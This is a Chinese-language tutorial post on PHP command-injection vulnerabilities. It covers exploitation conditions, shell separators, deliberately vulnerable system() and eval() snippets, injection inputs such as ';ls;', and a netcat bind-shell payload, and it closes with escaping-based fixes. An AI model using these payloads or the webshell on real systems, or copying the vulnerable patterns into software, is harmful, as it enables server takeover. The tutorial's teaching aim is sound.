命令執行漏洞
阿新 • • 發佈:2018-01-11
linux -c log escape 二進制文件 內網滲透 open 網站 style
命令執行
應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、 passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令 拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。
利用條件
1.應用調用執行系統命令的函數 2.將用戶輸入作為系統命令的參數拼接到了命令行中 3.沒有對用戶輸入進行過濾或過濾不嚴
漏洞分類
1 代碼層過濾不嚴 2 商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函數來調用: 3 system("/bin/program --arg $arg"); 4 系統的漏洞造成命令註入 5 bash破殼漏洞(CVE-2014-6271) 6 調用的第三方組件存在代碼執行漏洞 7 如WordPress中用來處理圖片的ImageMagick組件 8 JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等) 9 ThinkPHP命令執行
漏洞危害
1 繼承Web服務程序的權限去執行系統命令或讀寫文件 2 反彈shell 3 控制整個網站甚至控制服務器 4 進一步內網滲透
漏洞可能代碼(以system為例)
1. system("$arg"); //直接輸入即可 2. system("/bin/prog $arg"); //直接輸入;ls 3. system("/bin/prog -p $arg"); //和2一樣 4. system("/bin/prog --p=\"$arg\""); //可以輸入";ls;" 5. system("/bin/prog --p=‘$arg‘"); //可以輸入‘;ls;‘
在Linux上,上面的;也可以用|、||代替
;前面的執行完執行後面的
|是管道符,顯示後面的執行結果
||當前面的執行出錯時執行後面的
在Windows上,不能用;可以用&、&&、|、||代替
&前面的語句為假則直接執行後面的
&&前面的語句為假則直接出錯,後面的也不執行
|直接執行後面的語句
||前面出錯執行後面的
漏洞示例
示例一
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("$arg"); } ?>
示例二
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ping -c 3 $arg"); } ?>
示例三
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ls -al "$arg""); }
註:若引號被轉義,則可以用<b>\`id\`</b>來執行
示例四
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ls -al ‘$arg‘"); } ?>
漏洞利用
- 代碼執行:
在cmd.php中的代碼如下:
<?php eval($_REQUEST[‘code‘]); ?>
提交http://localhost/cmd.php?code=phpinfo() 後就會執行phpinfo()
- 動態函數調用
在cmd.php中的代碼如下:
<?php $fun = $_GET[‘fun‘]; $par = $_GET[‘par‘]; $fun($par); ?>
提交http://localhost/cmd.php?fun=system&par=net user,
最終執行的是system("net user")
利用執行漏洞,反彈一個shell
提交參數: ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
然後連接: nc remote.ip 4444
漏洞修復
- 盡量少用執行命令的函數或者直接禁用
- 參數值盡量使用引號包括
- 在使用動態函數之前,確保使用的函數是指定的函數之一
- 在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
<?php $arg = $_GET[‘cmd‘]; // $arg = addslashes($arg); $arg = escapeshellcmd($arg); //拼接前就處理 if ($arg) { system("ls -al ‘$arg‘"); } ?>
命令執行漏洞